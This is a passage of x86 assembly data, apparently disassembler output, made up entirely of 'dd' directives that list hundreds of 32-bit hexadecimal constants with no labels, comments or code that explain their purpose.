		dd 0D93E84EBh, 0B2490B5h, 0F42C0C0Dh, 0E64A07DDh, 0D27D4E01h
		dd 0AC888F76h, 0F43F21A4h, 3A72F6C7h, 0CB6AF3DEh, 108F1799h
		dd 3E0CE31Eh, 4AFA60BFh, 0E875B2B3h, 0DFE05DA0h, 613DB7FBh
		dd 0F8A28459h, 97EA7C64h, 4AC7F8EAh, 0CA07EF09h, 7089A170h
		dd 85CF51A4h, 0C4E3480Ch, 2738493Dh, 0D32C8116h, 0BD7928E7h
		dd 0C4AB8954h, 83BBB1C0h, 0F2A89CDDh, 0AC362CD0h, 1E5706A2h
		dd 74F48848h, 225B2BBEh, 0ADFA8BABh, 88D9A599h,	0C22E3282h
		dd 8C40F6D8h, 693CFDAEh, 80A69BA6h, 1178199Fh, 8B012715h
		dd 8A536F38h, 0A1D98EB7h, 98CEEBDBh, 0D3CDE224h, 0A25225D1h
		dd 25E5A70Ch, 16B30983h, 6BA5CCA9h, 5D429A8h, 5EFD6F32h
		dd 0A6A59293h, 42EA9867h, 2F3C804Bh, 3A7DEB51h,	92958D07h
		dd 20C3AE07h, 5792D28Fh, 70E932ABh, 9838B3ACh, 74C0047Fh
		dd 0EB7AB2F8h, 6CFAFDEAh, 26EFA4B3h, 289D16A2h,	0BD1868CBh
		dd 0AA6A6432h, 66408C5h, 26196BCh, 4363A165h, 0F60632ACh
		dd 0E6FAA15Ch, 42A22D4Dh, 0EB3BE598h, 0A23E229Ch, 21BAD213h
		dd 238678B8h, 4C37BBFAh, 643EC4D1h, 9A19653Dh, 0D44F477Dh
		dd 0C3297353h, 0AA3EB7DEh, 0FD1D64C8h, 94FE8055h, 251CD665h
		dd 0A850C204h, 49AE9292h, 39C82610h, 0C81AD698h, 6CA0879Dh
		dd 86435DFCh, 8066A796h, 30E36660h, 89363503h, 0F45831D8h
		dd 4EBDE110h, 4B9D30B9h, 52332D2Bh, 2E31FA75h, 0FCCEBC53h
		dd 11972052h, 6AE8F4C8h, 0E8EB3B79h, 0A01E23A5h, 89B3AAF1h
		dd 537E4B9Ah, 1CE9EEC2h, 0FFF3536Bh, 97095873h,	0F5C46FB6h
		dd 0EC4EECB0h, 6EB9377Dh, 0E950C17Dh, 23B000EBh, 25500C33h
		dd 27914151h, 0DA62BDE6h, 924D52A0h, 0B1B7D63Eh, 0FA3CB47h
		dd 5BF31C4Ah, 0E3146E72h, 0D0E508Dh, 0A83251h, 98DA20ACh
		dd 0ED924900h, 9F2186F8h, 4E8D33D5h, 5D9CF0EAh,	7FACA21Ch
		dd 0D2E5D077h, 0CAB5D05Eh, 0D990C628h, 0F1DB814Fh, 1D79DA18h
		dd 0F8169E9Dh, 0F86AA24h, 0B2D9128Ah, 0D9937CA3h, 99608726h
		dd 0F39AB2FBh, 6C1C930Eh, 9FD385B3h, 70E8AA21h,	6BD4A057h
		dd 80C69D84h, 9E30FE69h, 0F0FE49E7h, 8753D0CBh,	0EA28F815h
		dd 565CC5E3h, 0AB41ED2Bh, 0B39A3F8Eh, 0A012DC29h, 0BBCA72D4h
		dd 0EDD97414h, 0ED584903h, 0F3F960AAh, 88BAB499h, 960A9ECCh
		dd 0C67C40A2h, 7CC0B57Eh, 736F709Bh, 9D6CEA9Fh,	4B0FB0ADh
		dd 0BDC5B32Eh, 11B2AB2Eh, 6F57FB84h, 0FD0C797Ah, 0B5A62947h
		dd 613521BAh, 0A8B0D460h, 470F1B40h, 3EEC33B8h,	207E7DABh
		dd 761BBA17h, 0D6648CE4h, 0E8CFB14Eh, 5FC183D2h, 0B810C859h
		dd 0DD5ACB0Bh, 45FE7D63h, 0BD79E39h, 9AA59CC8h,	2340935h
		dd 16F1C6C4h, 0AF153162h, 0F7F4601Bh, 0E7A89D93h, 837C3014h
		dd 597E54C2h, 6AA04513h, 0E4C40E85h, 0CA226C11h, 63FB090Ah
		dd 0B9BD0F2Fh, 230E0018h, 0C35CFE07h, 0A8365E79h, 22B4C09Ah
		dd 9D798DC4h, 0D864A74Bh, 0DEEEB471h, 0E3B55F8Ch, 658B7049h
		dd 8F2E1828h, 1FAF9E1h,	4ABB2008h, 62D8FCDFh, 527D995Eh
		dd 1923EA21h, 0E54FFB20h, 1F7A7E22h, 0A8A3876Ah, 224DDC2Eh
		dd 5DF5C8BAh, 12C1B272h, 737286F2h, 0F4F4099Ch,	3A8E1EBDh
		dd 0C699BE17h, 0B2F4A2D2h, 8AD7523Ah, 790E9014h, 0B22F0533h
		dd 49645447h, 2FDB478Fh, 7D5F6E29h, 0A43FE22Ah,	0F898228Dh
		dd 311E791Eh, 45355B91h, 8BE8FCD7h, 93C9CA8h, 0D684E597h
		dd 273D0C36h, 4255C276h, 428F4C7h, 0A2A2F75Bh, 707E48BEh
		dd 81BA562Bh, 522D7E00h, 2904A3E4h, 0FF1AE3A8h,	7C80F32h
		dd 0F43194Ch, 0F64B3E23h, 948676EDh, 6C750585h,	73DE1AF0h
		dd 6959003Ch, 0E3E3541Dh, 85AB6AB8h, 4D793924h,	0DFF86F6Fh
		dd 4148032Eh, 0D5778D9Ah, 3809BF18h, 0E127FA5Dh, 819FE89Dh
		dd 0BCD498D1h, 0AC99D508h
		dd 89065F4Ah, 0C229E620h, 6EC14B91h, 4B4874DCh,	8B996DA5h
		dd 72ED4E23h, 0E08C5A51h, 0C0CDFB7Dh, 74D49250h, 74F9B1CBh
		dd 0C9D949B3h, 2EA17B38h, 3F0DA7AFh, 0CBD7A3D6h, 0AB3736C8h
		dd 24871CA1h, 0DBF4B0B4h, 0A6C2B06Eh, 33A04407h, 67934B53h
		dd 0CAE8FC10h, 0F738B06Dh, 7DFE975Ch, 0B685AB1Dh, 20762ACEh
		dd 7BA8EEEAh, 851A9214h, 71D167C7h, 7AE81AD7h, 97EB1D1h
		dd 89A3F03Ah, 127AA63Fh, 20C3FE0Dh, 52E3F08Bh, 0C00FF274h
		dd 596A0846h, 5AB44132h, 0C1AAB034h, 0E5380397h, 5F1CFB0Eh
		dd 38362FF3h, 0D65B3061h, 482D9DCEh, 0F31D79FCh, 0E16799ADh
		dd 0B4FD7405h, 152D5FA3h, 7FC78717h, 1BCAD60Ah,	0DF9F22EFh
		dd 0C6869FC7h, 6939AE31h, 0C2340376h, 0C447A039h, 60451F5h
		dd 24E08E1Bh, 0B54F9661h, 15408E0Fh, 0FA33A488h, 3F3AAA49h
		dd 18E7C446h, 0ED168326h, 0BFD9BC95h, 4F24EFFDh, 636D509Dh
		dd 5B60842Bh, 818045ABh, 0C4E30303h, 0DCB4A60Fh, 5682AC50h
		dd 0A14C191h, 0EFFF6A90h, 0E5F20BCAh, 3F8722FEh, 77E8B2BBh
		dd 224EC39Dh, 0D705A0DAh, 0CCF8C462h, 0BD960BA3h, 6D877E44h
		dd 0B98A6C2Eh, 6997A002h, 293F683h, 4FCECDE1h, 63180E7Eh
		dd 0B6FB1307h, 0C9521B27h, 8A19946Bh, 0CCE84121h, 0A3C6D6Fh
		dd 4520F9A5h, 0CE1AE89Fh, 74BAA742h, 0EEE0A40Bh, 0B7FF2A3Eh
		dd 28784A5Ch, 3A0894AFh, 0C0EE3662h, 0D3AE309h,	62932A6Bh
		dd 9B03EAF5h, 6F70589Dh, 0C9BC2F64h, 0C370F15Ah, 0A3992E4Ch
		dd 4F873635h, 1684F1C5h, 93533C70h, 5049D9Fh, 6944A029h
		dd 0DAB82C5Dh, 151034B8h, 0ABA02476h, 200AF656h, 0CF6640D2h
		dd 1902E55Bh, 45AE2D65h, 87CAC3D4h, 74A33A8Fh, 0FA1993A2h
		dd 2039015Ch, 0B6DD0DD2h, 0D7A13147h, 0FDE20123h, 49E3D7B8h
		dd 882C7EEBh, 89D2113Bh, 88B3CD7h, 46203BE0h, 5473A4D4h
		dd 0FCEDB20Eh, 74474831h, 0E638CE51h, 5BE21B14h, 467D9C22h
		dd 0BD03CF75h, 38C24AE1h, 85318390h, 6CA381CDh,	49D8C410h
		dd 5EBFF3DBh, 4D962604h, 0B24E059Fh, 296D307h, 611B8F66h
		dd 0EEBA3EC9h, 0C734CDFAh, 1BB0363h, 31BABE1Dh,	0EB493053h
		dd 0BD0FA799h, 0EFC677DAh, 70D0E291h, 0A4D514A1h, 6500CEB3h
		dd 412DF1B7h, 5040F076h, 0C6DC8122h, 4AF3B9EAh,	1D938EECh
		dd 4A3D39EFh, 0E48587Ah, 0DEF8A5F1h, 8F07BB0Ch,	0C7DEE31Dh
		dd 996FF61h, 0C638D216h, 8FE1CE91h, 0A939F2C8h,	0CFA638BFh
		dd 709A45Ch, 0F69ED701h, 577E8E28h, 350CF24Ah, 98C27009h
		dd 1CC9680Eh, 0DD79C7A2h, 8F319F06h, 1E9DFDD8h,	0B6B2FD7Dh
		dd 4B67EC89h, 215A7F55h, 0FE82E65Ah, 0A659D169h, 1A491802h
		dd 0BEFC7335h, 0DF0BD44h, 69C27E42h, 0B9C181Eh,	0BA5D6824h
		dd 372C85D0h, 0B57BED62h, 0DB22D939h, 15D80C4Eh, 4AC10951h
		dd 7389F34Dh, 547BC2D8h, 0ACFF2269h, 39577E71h,	0D43959FEh
		dd 1B4BEF05h, 0FE61ED59h, 0EB05C018h, 1EC722EBh, 63507255h
		dd 34CB24F2h, 68578C4Ch, 0D79046ACh, 3D33E8D7h,	0DA2A6798h
		dd 719DA62Dh, 4387A36Dh, 3C16F9C7h, 3FB50328h, 6F7BD9C2h
		dd 1A5E065Dh, 8B2402B2h, 0EFDB405Ch, 9664F73Fh,	499C809Dh
		dd 0F5AABDFBh, 0AD006628h, 461754CDh, 51665070h, 485CF374h
		dd 77E89CA7h, 0B075CDBDh, 0D150278h, 1D806E95h,	0FB55EE80h
		dd 6C1FBE4Ch, 2525FC8Ch, 0B0E63A28h, 7469FF98h,	0E7A49083h
		dd 0D5A77D48h, 4D836587h, 30DA2B10h, 4D71BF5Fh,	0DF295355h
		dd 7893B08Fh, 26A0C5CEh, 38C95FF0h, 55FCC872h, 3D66773Eh
		dd 1B81223h, 5A94087Ah,	7BE1F53Ch, 0EFDB6A6h, 0FF9E8AA6h
		dd 0A9100397h, 11CE9708h, 1E30FC0Fh, 0BDACE6E8h, 0DAA8FC2Ah
		dd 2A69046h, 0ECFE2275h, 9E525323h, 22B4F751h, 11C32429h
		dd 0DD4F6502h, 8D53FCEBh, 8BEC3A5Dh, 1A60B6D6h,	12C9F7B0h
		dd 0FD44F450h, 0AB13E9FEh, 577B4FBAh, 4961A781h, 4D960F7Ah
		dd 5CB62E5Ch, 0F8BCA29Ah, 456DCDFDh, 0BA4A6736h, 0AD8BB04Fh
		dd 24324203h, 0BF564BBDh, 50CA29Ch, 428CE6EBh, 9468F9C0h
		dd 0BB6CAD55h, 0F54D1A9Ch, 0C1D91F3Eh, 0E7C4742Fh, 450D075Ch
		dd 0A3CC9A05h, 0DCBEBF19h, 763AE35Bh, 284BB48Bh, 97F33C41h
		dd 2A8B8596h, 5B47D2D5h, 4EC7498h, 0F5313D92h, 86E9D52Eh
		dd 731C4725h, 77B8B37Dh, 4B07C093h, 6A6A8AC3h, 0BBB717A8h
		dd 0E1830A54h, 10BEDB9h, 8ABBC61Bh, 31FCA117h, 4E841195h
		dd 0B73FA4F3h, 0EBEBDB5Bh, 0F0D29EC7h, 2A88CE3Bh, 0C8814F06h
		dd 0FF10A40Ah, 0C3CD4F42h, 859F450Fh, 5F00779Eh, 0B939679Dh
		dd 77C9CC67h, 758CBB87h, 66F5922Ch, 6EB6CE5h, 0D103ED67h
		dd 30FAB558h, 0D2835456h, 61AFC224h, 0D58E90B7h, 40F98D3h
		dd 0AF848425h, 5C0887A3h, 2D20BBECh, 0DC9865F7h, 2FC7F65Dh
		dd 36A4CCFDh, 0CF49A273h, 8E54F33Dh, 67AFB5A8h,	0C1423469h
		dd 61B44A94h, 75374AABh, 715EC6C4h, 0A6E70E6h, 0FD92B17Ah
		dd 0DB55B709h, 1A95F3ECh, 0A871C2FFh, 7BC41122h, 0B19C3BE7h
		dd 0B7D3493Ch, 0F2352581h, 84DC8576h, 0ADFDCC4Fh, 9BE083D2h
		dd 0E6B90D49h, 6DC3562Bh, 0EC08157Dh, 0DF0B8769h, 241CC5AAh
		dd 41DEFFC4h, 7807B6F6h, 0CBD3FBACh, 0BF3EC21Ah, 7ADE3214h
		dd 11C443AEh, 2E1D0936h, 0AD13CAF8h, 93E48FC1h,	0FD78A938h
		dd 0DBAAE35Fh, 2652E97Fh, 342CFADDh, 5201E559h,	0A61AD266h
		dd 0B35B6597h, 0F693C962h, 68053AB2h, 9410CF62h, 0D73E13FBh
		dd 44293A4Ah, 44D07h, 166D9724h, 4D9351EBh, 4961A9BFh
		dd 39F3FA99h, 0D81B13BFh, 8D2D170Ah, 8C27A6E2h,	5780AC8Eh
		dd 4F2744BEh, 3D42DEBCh, 0E07B7EC2h, 9427A744h,	0C8DC00E0h
		dd 36110D1Ch, 5B2FEBC0h, 507CAACBh, 0C7DF40EAh,	407E82A5h
		dd 613FA753h, 8D463D33h, 4F5B85A9h, 48B7FA69h, 23885D82h
		dd 0AA6413FFh, 7284FE31h, 0CD7836C8h, 0AAE867C5h, 0C611E1CEh
		dd 886E96C2h, 0F149D420h, 35A363F2h, 632FD29Eh,	8E889D3h
		dd 0AA575912h, 37E2BD41h, 0DF23E77Bh, 948E9933h, 0F5EB422Ch
		dd 0D620F178h, 0A3403EA0h, 0E4D64B13h, 6BBB8614h, 0CAE65584h
		dd 0ADDEA17h, 53455722h, 5BABAB4Ch, 0E41B00B6h,	0F48ADE13h
		dd 60273197h, 925A7551h, 7CC2FE03h, 4A034F83h, 0E46BFED7h
		dd 4E3E3A14h, 5BA1F8EAh, 28E9ECE9h, 5BDE619Dh, 374F3A84h
		dd 0E2BD9DA2h, 8A38A488h, 0D41CBF8Dh, 521447F4h, 767426F0h
		dd 0A4131E49h, 5A872218h, 36A6711Bh, 22520DB3h,	7AD5CD5Fh
		dd 7DED5E42h, 0D3D82B85h, 3814BE6h, 6181B0C6h, 18F300C9h
		dd 0A88573B0h, 943EE2A9h, 0B794D0Ch, 0B28DF2E7h, 6A436958h
		dd 26A80A82h, 503B783Fh, 98AAA13Eh, 8C4ADC22h, 6EF1D744h
		dd 50F1A5F3h, 7F9FA617h, 3F4236E5h, 1A1B0684h, 0DA0D657Ah
		dd 8B0B63FBh, 691E13BEh, 0CC38A016h, 52B68F44h,	64F0F14Bh
		dd 56D0BB42h, 9E6A0AE9h, 4FE886D6h, 308E12A0h, 36769D0h
		dd 3D7EB996h, 0EBE89CD5h, 4E33579Eh, 58727505h,	41B6657Ch
		dd 328EF96Ah, 176F091Bh, 84F87F04h, 0EEBF443Bh,	0E9242349h
		dd 2A2155FFh, 17702DB0h, 72B1AD99h, 3EE00678h, 0AFA1677Bh
		dd 0C8C4C8EDh, 565A62D0h, 96571795h, 3025F46Fh,	85156961h
		dd 0A774C6B4h, 0CEC510A1h, 44FB0867h, 2340A76Dh, 3EA5DDAFh
		dd 546A0D9Eh, 9E46D3A7h, 245D78AAh, 0F3DA9B56h,	0F8DAC200h
		dd 0AC5DB4BBh, 2086CF66h, 7B9ECA4Fh, 0CB6DAEFBh, 496F744Fh
		dd 0D1BDB7D6h, 494121D8h
		dd 2AF40D87h, 96BC7AB3h, 0CB2F8208h, 0D2D5F1E1h, 0CC622E56h
		dd 61C8B9AAh, 0C7B8FEEDh, 85ED2776h, 5645B528h,	8EEA217Bh
		dd 7FFA7257h, 26DB1EB3h, 0E47EB7Ch, 69ACD47Dh, 1405C473h
		dd 3246283h, 6DADF14Bh,	65FADF11h, 0C71A8E7Ah, 367A95CBh
		dd 1D0CDC10h, 53A61269h, 3932CB4Dh, 3A13961Ch, 0C70642ECh
		dd 4AEF1A3Dh, 0CB57EC2Fh, 8D8D5F4h, 4A750FDh, 0ED3894D4h
		dd 0EE98B268h, 6F07E9E4h, 36FC9EDh, 829A3DD7h, 0A9519FDDh
		dd 367DFF8Fh, 10012715h, 3B347473h, 0FD2817FDh,	0C2219DD1h
		dd 5C355920h, 54180DA0h, 89B3E97Ah, 58336607h, 1666A9ECh
		dd 62435E75h, 89A37B5h,	0E16662D4h, 7FB7394Eh, 0A15039D3h
		dd 253C9E34h, 83A123B0h, 3402E6F3h, 88868A9Eh, 0E67DF021h
		dd 0BEC384AAh, 8DBA4EA9h, 0A493E119h, 4CF664E0h, 56D89A0Ah
		dd 0B336B491h, 0F35890Ch, 0E4F047D8h, 276079BCh, 78C72DF5h
		dd 619B6420h, 2977BB35h, 0A015C178h, 5D0FA050h,	24B1071Dh
		dd 409DB6CAh, 0C772B389h, 0F4BCFEE3h, 0C352A64Ah, 14F7FE09h
		dd 1E2217Ah, 749C8022h,	7317B54Fh, 2AB57F30h, 5CD7C44Ah
		dd 3D50B2F9h, 0B8244E64h, 8291351Eh, 17F27E2Dh,	406BAEB6h
		dd 0B36B1F65h, 1E1D639Dh, 0FDB2A872h, 1E04E1D5h, 0EDEB392h
		dd 0A4C1CFD8h, 1EFBB014h, 8C5B3D60h, 1BA1FEE6h,	27EC3897h
		dd 0CF63BB61h, 12B36C41h, 83B94C42h, 0DB43B62Bh, 9C00C0F2h
		dd 0A6FDFFFh, 837BC0E0h, 1093962Fh, 642EE980h, 0AB53BA7Bh
		dd 99C2EBFEh, 0E8E9F11Dh, 0A3BB54C5h, 3B508499h, 88C689E9h
		dd 301CE843h, 0FAC804D9h, 3C323048h, 0A1E0751Ah, 60F0A9ECh
		dd 0C016DA8Bh, 37F8897Eh, 5AAADD68h, 0DCE2E8AEh, 0AD32BE30h
		dd 3E5CE847h, 0D97E7523h, 0BC258712h, 0CAFFA7E2h, 90BE164Bh
		dd 3530A459h, 3ED0803h,	6F202841h, 30BB0614h, 8A3A1FC5h
		dd 0BCE246F0h, 0E8BF1C2h, 67645004h, 0A909DD2Eh, 58571ADEh
		dd 0AFE02AA1h, 0A1BCAB8Ah, 0AE3E7E64h, 0AC910378h, 88AE466Eh
		dd 0E50A0782h, 4DEAD520h, 6CD4A63Fh, 562D8A65h,	5082013Eh
		dd 0E0BF9958h, 0AFC0C754h, 12362194h, 985BA871h, 0AE55F321h
		dd 1E7F2889h, 89E47DE3h, 2015332Dh, 0B136B0D7h,	9C20AF4Ch
		dd 7A6B8362h, 1F4801B4h, 6364CF5Dh, 30689F6Dh, 2F7D8FCh
		dd 2FBFADCBh, 25332AD5h, 7CEB4B1Dh, 0DBB02BA2h,	147A570Eh
		dd 0FDF1802Bh, 0B9F410C1h, 4C3C4D2Ch, 82F75E8Bh, 64DA4E9Fh
		dd 26358186h, 3578C542h, 62A18C33h, 6FFE3E25h, 999EDAF9h
		dd 7EF0CD77h, 48227770h, 0BB774AE7h, 0F757B933h, 72AC8739h
		dd 66B59456h, 25A7A4AFh, 237743B5h, 0EF39750Ch,	995B1647h
		dd 0AE5FD842h, 63DC789Dh, 38A23D6Eh, 4833A227h,	0E9D995AFh
		dd 0BB5579B3h, 91D0FAC6h, 0C82C6CD7h, 18D1278Dh, 3D9A007Eh
		dd 959A28FFh, 0C4717649h, 0D0226CA1h, 0FAB87FD6h, 57D9E7D9h
		dd 86660938h, 0AEA6DC9Eh, 84282067h, 0A3537ACEh, 0FDD79EB6h
		dd 5C1B8502h, 0F4F01443h, 75024D8Fh, 656CB326h,	0A3CEA334h
		dd 789095E4h, 4621EA00h, 1778E4DBh, 817ACEBCh, 2B56E692h
		dd 264F7CD6h, 4B4CCF95h, 0BFC0A4D3h, 481AD178h,	0C25870C7h
		dd 2C05D2h, 2A4AE0FEh, 0AD357D58h, 0AA5BE322h, 0E4BB4FCFh
		dd 860ADCEEh, 0ABCA1857h, 886BE416h, 736A27F4h,	4996F7A3h
		dd 0ED93888Dh, 533AC523h, 81A6F610h, 8C2A50E0h,	29A409B8h
		dd 0D3CB774Fh, 410B5D1Fh, 7E270D71h, 12C314A1h,	5D8A504Bh
		dd 0EA3F8C35h, 2B18E29h, 6EB47620h, 33786248h, 21210DD5h
		dd 15BB4002h, 9EF3DB3Ah, 92FDE8AFh, 0D688A32Fh,	0AA4831E3h
		dd 0C8A942BCh, 5946F204h, 327B6568h, 22132C12h,	0C42E5849h
		dd 0AF55BE97h, 0C7EC9EC1h, 0B7542164h, 18F27DEFh, 0CD2D8169h
		dd 4CAF3038h, 6C03E482h, 8B2C181Ch, 4510C032h, 94AB7248h
		dd 0D9372D7h, 9FD49A97h, 83217F45h, 0EF2BA76h, 9376AAD6h
		dd 0B1FECCB3h, 0D6BEF57Fh, 24E22DADh, 0E8BBD21Dh, 23A4DAFBh
		dd 0E2EBBE6Ah, 0B6DB88C3h, 9CB94AE4h, 0F546AB63h, 35942FF3h
		dd 0C92237BDh, 3B5552E1h, 4E084CDDh, 0E231CF98h, 11E74167h
		dd 91E2253Eh, 99C905BBh, 0BD880C46h, 9AC02A6Ah,	20E493E6h
		dd 79BC54EFh, 68E15093h, 29AF1822h, 0F864BE96h,	9F818B13h
		dd 45B6175Fh, 113152DEh, 1BD7FE3Ch, 0CB401726h,	9AD4EF07h
		dd 0DE708933h, 0ECBD2882h, 11EF8480h, 3913BB3Eh, 1B7AEB6Ah
		dd 0AF4F6685h, 83B81A57h, 0B7AD04AFh, 535FC5Fh,	0C9F7A471h
		dd 0F5AF113Ch, 20B727FCh, 0B83E253Bh, 7EBBAB04h, 5735AECh
		dd 0F447E8F8h, 5FD34EDCh, 9D4842CFh, 28ECE6B8h,	5C29553Fh
		dd 0B9C891FBh, 0D844E51Fh, 4336656Fh, 478C06F6h, 0B5790BCDh
		dd 237E45F7h, 0E22D1B09h, 47254751h, 94196EACh,	15D1DCE4h
		dd 0B0745554h, 570A0745h, 0FEF97041h, 7F17A5E5h, 8B31C6C8h
		dd 0BB12D9C4h, 587A5884h, 8FCFBE37h, 3ADE1AEh, 0FA8F1969h
		dd 0CF6910C9h, 87CBA054h, 0E762FAC3h, 40397B2Dh, 1E597537h
		dd 5BF9389h, 0DC23A97h,	0BE1FFABEh, 990F89AFh, 4727DF35h
		dd 20065A41h, 9D64D3C5h, 17EE812Bh, 7EBF5591h, 726F6057h
		dd 9F74F804h, 6BFEC8EAh, 0E007557h, 4A7970E9h, 1C801145h
		dd 93A99F93h, 0B532EF61h, 0E458613h, 297C5898h,	0AC2E72EBh
		dd 0C0AA24D6h, 0FC3C0782h, 613B05D2h, 403A0FA5h, 6F8F0DE9h
		dd 6FAE51D3h, 0D931BDDh, 58935328h, 3C7EF4C4h, 32545B2h
		dd 0BB29D139h, 3EE59F6Ah, 389A8521h, 9C2D1236h,	0FF4C8D21h
		dd 5561C6AAh, 3D692535h, 9AFF1EB9h, 0EBB424A8h,	173203D5h
		dd 8C530DA1h, 252EF92h,	126BD3BFh, 1AC14C0Fh, 692E98ACh
		dd 3D3BAD7Fh, 7F9D552Dh, 4DCF1B74h, 8D3A3D71h, 4A3C7979h
		dd 6AFEB39Fh, 39CF74FCh, 2DBAA7D0h, 337445FEh, 0F9028E4Fh
		dd 6A35B8B4h, 6BF1CAF1h, 4ADED814h, 2012174h, 0F2B7CD83h
		dd 0B04C454h, 1EA6C8FDh, 0C2680DEDh, 0DEA74097h, 8D0A8839h
		dd 49CEEE12h, 5A7538ABh, 591CC155h, 9A092526h, 0D37AB218h
		dd 4B1F07A9h, 0DB476A11h, 9736706h, 15B24F82h, 466FF424h
		dd 0D38353DBh, 0FC11D3A8h, 0F50697E3h, 1CADDDC6h, 0D9E6A351h
		dd 6915547Eh, 0AD79E7FCh, 99EDA85Bh, 0CF62763Eh, 208F1949h
		dd 1625EABFh, 0E2D946A0h, 0C113864h, 0CCD42237h, 0BBC21DF6h
		dd 0AC940260h, 0DF312EBBh, 705DD8D5h, 0EE5F2FC4h, 82A29D8Fh
		dd 0FBC688CAh, 823DD1D2h, 8C8DF333h, 52094653h,	0E775F2C6h
		dd 3071E886h, 771185D7h, 77371A18h, 0B81F4CF6h,	0E4399B11h
		dd 2375C93h, 8DA9CFD7h,	7556ADB6h, 0EF9FEAB6h, 0D6D69A93h
		dd 0E225A113h, 6283166Bh, 3C734E9Fh, 21F4158Dh,	0BB6C8EEDh
		dd 51AB2031h, 0B6AE2D37h, 8060DE2Eh, 0E29EA5BEh, 58ED8AB8h
		dd 0EFCE9406h, 0C6AB9A1Bh, 0C371C032h, 0D77D24A4h, 0B66A747Ch
		dd 0E283DA58h, 2172D57Eh, 0E002C847h, 966358D6h, 2444FB7Ah
		dd 0DEE0B975h, 0DD9E14Eh, 4E64B6CBh, 0E0EED583h, 0AA3B43DEh
		dd 7F1B1AAAh, 4F834BE1h, 0C62FD1ECh, 6C579711h,	7E21A975h
		dd 63BD8003h, 0BC6310C1h, 7B6F61F5h, 0AFD16327h, 59277B58h
		dd 231C9ED4h, 50C838AEh, 0F084BDCFh, 30D72CDCh,	905665B9h
		dd 0B583F8E7h, 44D42758h, 0B21A644Fh, 0D390353h, 659AFF8Eh
		dd 8DDF5F16h, 0E5BF1012h, 0F149BFDCh, 3747E3Bh,	1005637Bh
		dd 4943F535h, 0CF0FECDDh, 45527188h, 0A90B8E9Dh, 4655E350h
		dd 0D6D4AFEEh, 36B5205Bh
		dd 0E7AA2F41h, 95731092h, 1D6A7C19h, 0DF07C8A8h, 0E383041Dh
		dd 73987C13h, 81E2C367h, 671733FFh, 0F8AA48C0h,	55627E73h
		dd 4750F55Ah, 306C07DAh, 0D11A0C35h, 0A2CA8B48h, 0A3B848BCh
		dd 0FEA9841Ah, 7E75A1F6h, 0E293E3BDh, 0CFD5D19Ch, 9307E352h
		dd 948F7320h, 513D0E37h, 410558F0h, 0E9C2C037h,	42203C81h
		dd 2C1A7F3Eh, 0F3C4F04Bh, 0BD447487h, 0E12D4766h, 4D8D65C0h
		dd 8CDCD41Dh, 0F1CCD529h, 63CECA2Dh, 45B4B8DDh,	0B7E18D86h
		dd 1FA68B22h, 0B6C69B51h, 4346B72Dh, 11AF2113h,	69102FCCh
		dd 0A6C8D9E6h, 1CD8ADA7h, 4122470Ah, 0FE98690Ch, 0F1723B42h
		dd 6E7562CDh, 34B57681h, 3DAB794Ah, 727526Fh, 3CB43593h
		dd 4986A6A7h, 843F10BDh, 7C57EBFCh, 94FEB788h, 7A2A9F97h
		dd 0B0D46F37h, 0A4210BCh, 0EABA47E9h, 664B715Bh, 21B5EE37h
		dd 0BB888035h, 0CEADB017h, 0A782D0BFh, 0B9875282h, 2E833575h
		dd 61556C2Ah, 25BEAD27h, 0F2BC77DAh, 0C8936620h, 0CEB23B82h
		dd 1C6F02F7h, 9E6C69D0h, 7A6DD967h, 0DEA6B59Ah,	3AEAB801h
		dd 745D772Dh, 0A575FD70h, 9D676BFDh, 8970DB72h,	0F6B416D8h
		dd 9B0843F7h, 32619B9Ch, 4961B07h, 0DD69C66Bh, 0AAEEEF72h
		dd 0B8FC2704h, 0BCA9812Ch, 0BD7AC7F9h, 2FB2E85Bh, 33ADA942h
		dd 58E3DA8Dh, 9365969h,	2F0673ACh, 646DD0B7h, 0B9986425h
		dd 0B0154793h, 0A75B4A4Bh, 21F8A579h, 1BEA2EDBh, 0B622A754h
		dd 22002BA9h, 3106D6E3h, 3D97B037h, 80D1CB7Dh, 927BE85Dh
		dd 40C58BCCh, 8F84252h,	99B4E5C4h, 5C385F17h, 0C33EF677h
		dd 0A6D188A8h, 3AC3BA7Fh, 0D2BB6ADFh, 3095A158h, 0A588671h
		dd 0F08F724Ch, 997589F2h, 2B7D0B6Ah, 0FC315426h, 54F28702h
		dd 7C79333h, 0C8CFFA56h, 2AD53FF9h, 8DCBD85Eh, 8963351Ch
		dd 0E950737h, 1079831Fh, 800F4134h, 6694A479h, 66FF0DDDh
		dd 1CE28868h, 0CD8728A7h, 5A967998h, 6283CE89h,	0DE4133B2h
		dd 0D8D0CCD2h, 1E31ED85h, 7D85D68Eh, 3A04BC5Ah,	0D1BD893Eh
		dd 13A001DFh, 1137E5F4h, 0C9974DAFh, 9994F0ABh,	0CFF6E9CDh
		dd 65F2A323h, 52D38A0Eh, 42C659C3h, 0BCCCF98Bh,	0CA5043A4h
		dd 0B8596B68h, 19BDB92Ch, 0C1720082h, 8C1465Ch,	4C4898BBh
		dd 0A94A1FB6h, 0B82A28D8h, 880C4137h, 55A1941Fh, 8107F3B7h
		dd 924CFD6Eh, 0A04AFEF5h, 855AB701h, 0B071B076h, 2EE32770h
		dd 0EBCF1164h, 0CA8235D8h, 2D8D62D4h, 8085F283h, 0F77D4E35h
		dd 6DACD17Ah, 9A905C4Ah, 0BE2C0BFAh, 0A62DE496h, 71F5E834h
		dd 7462050Ah, 93FE5C4Dh, 36EE12C5h, 4C95E886h, 8E21766h
		dd 99612BFAh, 0D3F18B2Bh, 0A8AC1B37h, 67C9BFEFh, 2709A66h
		dd 8992C241h, 8A6BF80h,	0EAEE0A34h, 54616B86h, 36970BF2h
		dd 40A22174h, 408D9411h, 9745A376h, 2068591Ah, 0A13B7B68h
		dd 45A3390Dh, 976AB3E7h, 327826E4h, 0E712CFDEh,	0C367AA8Fh
		dd 7E2ECD9Bh, 1356187Bh, 0A9195B81h, 0EA6BD9Ch,	1FC28A8Bh
		dd 0DFF6A437h, 0D59A9099h, 3390E655h, 7F2CEC4Dh, 32E8870h
		dd 0DD008568h, 5E399E8Ah, 47A93C1h, 49AF2572h, 0E43C1B87h
		dd 0FD64FE12h, 25AA0D56h, 20F24464h, 0FBD17553h, 0BA2ADCA1h
		dd 0D23294D8h, 8AC916F9h, 8AC39CE7h, 54FEB441h,	4FD16DA8h
		dd 107E4FF9h, 0CAD934D7h, 0CB57C611h, 79917D02h, 0D570071Bh
		dd 0EE267CBCh, 0E8E402A6h, 83255977h, 5725C471h, 19685041h
		dd 7768D8B3h, 8AE55CF2h, 0AC0B253Bh, 0A5796856h, 0BE07B986h
